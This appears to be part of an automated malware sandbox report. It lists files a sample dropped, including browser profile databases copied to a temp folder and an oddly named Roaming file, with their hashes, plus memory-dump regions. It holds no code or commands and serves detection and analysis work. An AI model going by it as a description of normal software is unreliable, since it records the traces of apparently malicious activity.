SHA1
1b9b6792ec2ed5f1bd0a31756f26a667a8b49242

SHA256
d84a259cfe0e0194fdaf8d766114678f05d915c1d0bf66af94154c9e9d2c6c1d

SHA512
710257b2eac3a3a35a1311d7a53bff6e4d21c364a18a0975d36bd5d1df3d663132037bf94419b877ce9f71ae8c819e7f5bd13fbdefd4c9d796509338451f5461

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\000003.log

Filesize
40B

MD5
148079685e25097536785f4536af014b

SHA1
c5ff5b1b69487a9dd4d244d11bbafa91708c1a41

SHA256
f096bc366a931fba656bdcd77b24af15a5f29fc53281a727c79f82c608ecfab8

SHA512
c2556034ea51abfbc172eb62ff11f5ac45c317f84f39d4b9e3ddbd0190da6ef7fa03fe63631b97ab806430442974a07f8e81b5f7dc52d9f2fcdc669adca8d91f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\LOG

Filesize
293B

MD5
cb65ae1ec2a10f2127dd5258242a8438

SHA1
dcfd46045ed928f555ca9a88aa4ae3b20718a90e

SHA256
5280a008f59f5888575bb47eb6e6b75a2afd2cefc0bc4395499d428081135afe

SHA512
da109dc510fdcd09ec14e515900fd7dd1d57f0899469d58f2cda390a325e3411959562bc267cb28bdfa20a6715c6fbad5d0061478f91790746053b1a8e6c5038

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\000003.log

Filesize
46B

MD5
90881c9c26f29fca29815a08ba858544

SHA1
06fee974987b91d82c2839a4bb12991fa99e1bdd

SHA256
a2ca52e34b6138624ac2dd20349cde28482143b837db40a7f0fbda023077c26a

SHA512
15f7f8197b4fc46c4c5c2570fb1f6dd73cb125f9ee53dfa67f5a0d944543c5347bdab5cce95e91dd6c948c9023e23c7f9d76cff990e623178c92f8d49150a625

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\LOG

Filesize
267B

MD5
12fab0e696b1fdb363d93dbaf3ca5462

SHA1
1211af0e60ce7c28dd2fa40d8183d3bc4416c1c9

SHA256
78db1bddb5ddbd16cb5f1dc68733c7232208fe10b71f0be0ba4cc8f374d8ae52

SHA512
a409a2bdbeaf44a3d200b8ee329134a76268c05124a37140540039b3a4ae139c887de4f31119172d60110b304650e4a05f01aca5f3fa9dab0d0c7518747e6dbb

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Top Sites

Filesize
20KB

MD5
986962efd2be05909f2aaded39b753a6

SHA1
657924eda5b9473c70cc359d06b6ca731f6a1170

SHA256
d5dddbb1fbb6bbf2f59b9d8e4347a31b6915f3529713cd39c0e0096cea4c4889

SHA512
e2f086f59c154ea8a30ca4fa9768a9c2eb29c0dc2fe9a6ed688839853d90a190475a072b6f7435fc4a1b7bc361895086d3071967384a7c366ce77c6771b70308

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Visited Links

Filesize
128KB

MD5
37cdb3ff2f1fd1060b74d83200d6a552

SHA1
c6879c81af802e832252c66cc387a363304c69e6

SHA256
572b868bac54e2f4561ca82b3edfd11c2eb07bd0a8b69b69f4a96500a0884e8e

SHA512
703bcd20e22d7175b73bfb99e83ec575249f86911ef8b3aa4ae1b86d792c3480bb30641ea447df51c84da4a56be7d64a92fb11142116350022ce9db9040412bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Web Data

Filesize
114KB

MD5
1c45048d0eaff572b11f4a9d1a200ae0

SHA1
0e6ac2156547255c69c4ce11a5431d5c74f3a221

SHA256
4e5fbd696a19d37b70034dae644844c4ea2aee4b32e508e5886d3f7190e507cf

SHA512
149c830416ea57cd15b89eb8622db175edb95a73b9e5109392854ecc024b13a6247c4f378e8316ad50f1505e94b6767fc93058f0e4b8eec261f368669ee3f3f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\000003.log

Filesize
4KB

MD5
335d0e985ed663ca5173278c47272040

SHA1
cbe30099b8e9f4b11b938863d39670ae9d25ba62

SHA256
df8501f04faed140689605d769c503e693136c3b2bab174fe2fd597e2e376671

SHA512
ff34b21c325af85720b5a04bd91664911070947d9c3d9dd7efe04af5261aef60b68f23345add772487ddbb8df0cbf9de32a5ba8cc2cca82f1601c02576cbb750

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\LOG

Filesize
265B

MD5
124f448fec57c6316d63a3580e41b622

SHA1
70673a3300e5bbaf0ec478cc9d01a1365d97abc0

SHA256
c20ffd7a31f428df4cb9a2df224b3ceafb47d9dc99ddd68cbc3c5723f69fecfb

SHA512
e1b262e832d248bc237a246cf372dea9a0df53027faafbe59943fdabfa77137fc518a02d5d470feb293ed1e5442c72ebd52f331751271db8dbd3ee4e61dd23c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\000003.log

Filesize
682B

MD5
51e015bac40e668657356ef2ea3fefc0

SHA1
36f8b2be81944466002e2186205919ac21122aec

SHA256
f889e3bdb504ce320e06f65ab48fc9dd587e17492257ab07cef1b5ba980efc27

SHA512
5901f8ceb2a75bcd02b34966bdb581189b21a16d392db9f142564612403ca4f9efe4a01d14a4869d6ff9c7668a9e48d6b7314b098a4e683c961d2955b046c595

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\LOG

Filesize
283B

MD5
5e5e0f7c89dfc17ab1ada88b7874c3b1

SHA1
6087757613552b4be183f3718de85dfd668c47bc

SHA256
a57be96752416a77c43aa8cbbe5c5aec1a54618d63a012a6e1829d652d1c054b

SHA512
396996ff9aa1da4b5fdc19a3aa792691945caeb91e08611df61a2556ed8164fe23d31bdbe74fa0f16f5d52b3c3f871cb054dce55eeca220a66127fcb7d56290b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_0

Filesize
8KB

MD5
cf89d16bb9107c631daabf0c0ee58efb

SHA1
3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b

SHA256
d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e

SHA512
8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_1

Filesize
264KB

MD5
d0d388f3865d0523e451d6ba0be34cc4

SHA1
8571c6a52aacc2747c048e3419e5657b74612995

SHA256
902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b

SHA512
376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_2

Filesize
8KB

MD5
0962291d6d367570bee5454721c17e11

SHA1
59d10a893ef321a706a9255176761366115bedcb

SHA256
ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7

SHA512
f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_3

Filesize
8KB

MD5
41876349cb12d6db992f1309f22df3f0

SHA1
5cf26b3420fc0302cd0a71e8d029739b8765be27

SHA256
e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c

SHA512
e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Last Version

Filesize
11B

MD5
838a7b32aefb618130392bc7d006aa2e

SHA1
5159e0f18c9e68f0e75e2239875aa994847b8290

SHA256
ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa

SHA512
9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State

Filesize
8KB

MD5
ae4fe63f8159b1e0e10b84c1761ceed4

SHA1
0a4263da4ea7a32f54411163fc08c82278d8eaa2

SHA256
80c6fc88e2ff14ffd632794d6ff91b8e57515b9d61381d03a10e38f94de75a6e

SHA512
a6b3590b645107415b0ff9ce7a10b4e1861e34534dad68b181ec9172c71bba4f5a215b3dfef51343c67288dc3a944189b82a69eab0d1b51dff8426b25073b9d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State

Filesize
116KB

MD5
5f2323d2f079d5ebac6723b19c3588a5

SHA1
199b826bcac982cdcede69be3acacde052f0e500

SHA256
453f2e1578e9ed9e32a1662fc434a2fdc075582fe90b65d1bf680d1b182443fa

SHA512
fc3cfa17b1959927026c3278f610ca05c5daba3790fb5555e0402c6a699e9c9af4820b672c44a36afd36e0c9ca9355ded305ba17f049410109b73fc2e7166d85

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ij3njrrr.s4p.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\djtrxclosvpqgnskmmxqryknicyxxsivw

Filesize
4KB

MD5
60a0bdc1cf495566ff810105d728af4a

SHA1
243403c535f37a1f3d5f307fc3fb8bdd5cbcf6e6

SHA256
fd12da9f9b031f9fa742fa73bbb2c9265f84f49069b7c503e512427b93bce6d2

SHA512
4445f214dbf5a01d703f22a848b56866f3f37b399de503f99d40448dc86459bf49d1fa487231f23c080a559017d72bcd9f6c13562e1f0bd53c1c9a89e73306a5

Download Submit
C:\Users\Admin\AppData\Roaming\Benzinmotorernes218.Gna

Filesize
475KB

MD5
295c44d32a59cd7721867d53a2e08e74

SHA1
b8359e0cdbf75e98d9e2abc64007219386d71c13

SHA256
bd1cf04c594f0a47c0945d215d5d04e8c64555857673e4dd3e7f2d1ae6d8627b

SHA512
fe894a5b177a8d69fc4bfe96e627015cc0da548b564bbe46eeed6149306025c93a596fa014328067bdd74f742f7251659027c13ec98787758cca017f70ed9c1b

Download Submit
memory/540-28-0x0000000005D10000-0x0000000005D76000-memory.dmp

Filesize
408KB

Download
memory/540-42-0x0000000006530000-0x000000000657C000-memory.dmp

Filesize
304KB

Download
memory/540-25-0x0000000002BD0000-0x0000000002C06000-memory.dmp

Filesize
216KB

Download
memory/540-26-0x0000000005670000-0x0000000005C98000-memory.dmp

Filesize
6.2MB

Download
memory/540-27-0x0000000005620000-0x0000000005642000-memory.dmp

Filesize
136KB

Download
memory/540-29-0x0000000005E30000-0x0000000005E96000-memory.dmp

Filesize
408KB

Download
memory/540-39-0x0000000005F20000-0x0000000006274000-memory.dmp

Filesize
3.3MB

Download
memory/540-41-0x00000000064F0000-0x000000000650E000-memory.dmp

Filesize
120KB

Download
memory/540-43-0x0000000007D60000-0x00000000083DA000-memory.dmp

Filesize
6.5MB

Download
memory/540-44-0x0000000006AA0000-0x0000000006ABA000-memory.dmp

Filesize
104KB

Download
memory/540-49-0x0000000008F40000-0x000000000B094000-memory.dmp

Filesize
33.3MB

Download
memory/540-45-0x00000000077B0000-0x0000000007846000-memory.dmp

Filesize
600KB

Download
memory/540-47-0x0000000008990000-0x0000000008F34000-memory.dmp

Filesize
5.6MB

Download
memory/540-46-0x0000000007740000-0x0000000007762000-memory.dmp

Filesize
136KB

Download
memory/1228-180-0x0000000021400000-0x0000000021419000-memory.dmp

Filesize
100KB

Download
memory/1228-73-0x0000000020B80000-0x0000000020BB4000-memory.dmp

Filesize
208KB

Download
memory/1228-70-0x0000000020B80000-0x0000000020BB4000-memory.dmp

Filesize
208KB

Download
memory/1228-175-0x0000000021400000-0x0000000021419000-memory.dmp

Filesize
100KB

Download
memory/1228-74-0x0000000020B80000-0x0000000020BB4000-memory.dmp

Filesize
208KB

Download
memory/1228-179-0x0000000021400000-0x0000000021419000-memory.dmp

Filesize
100KB

Download
memory/1228-62-0x0000000001260000-0x00000000024B4000-memory.dmp

Filesize
18.3MB

Download
memory/1852-21-0x00007FF9FF3F0000-0x00007FF9FFEB1000-memory.dmp

Filesize
10.8MB

Download
memory/1852-20-0x00007FF9FF3F0000-0x00007FF9FFEB1000-memory.dmp

Filesize
10.8MB

Download
memory/1852-5-0x000001F332DE0000-0x000001F332E02000-memory.dmp

Filesize
136KB

Download
memory/1852-24-0x00007FF9FF3F0000-0x00007FF9FFEB1000-memory.dmp

Filesize
10.8MB

Download
memory/1852-15-0x00007FF9FF3F0000-0x00007FF9FFEB1000-memory.dmp

Filesize
10.8MB

Download
memory/1852-4-0x00007FF9FF3F3000-0x00007FF9FF3F5000-memory.dmp

Filesize
8KB

Download
memory/1852-16-0x00007FF9FF3F0000-0x00007FF9FFEB1000-memory.dmp

Filesize
10.8MB

Download
memory/1852-19-0x00007FF9FF3F3000-0x00007FF9FF3F5000-memory.dmp

Filesize
8KB

Download
memory/4200-80-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4200-79-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4200-83-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4468-87-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4468-85-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4468-78-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4468-90-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4820-84-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4820-88-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4820-89-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download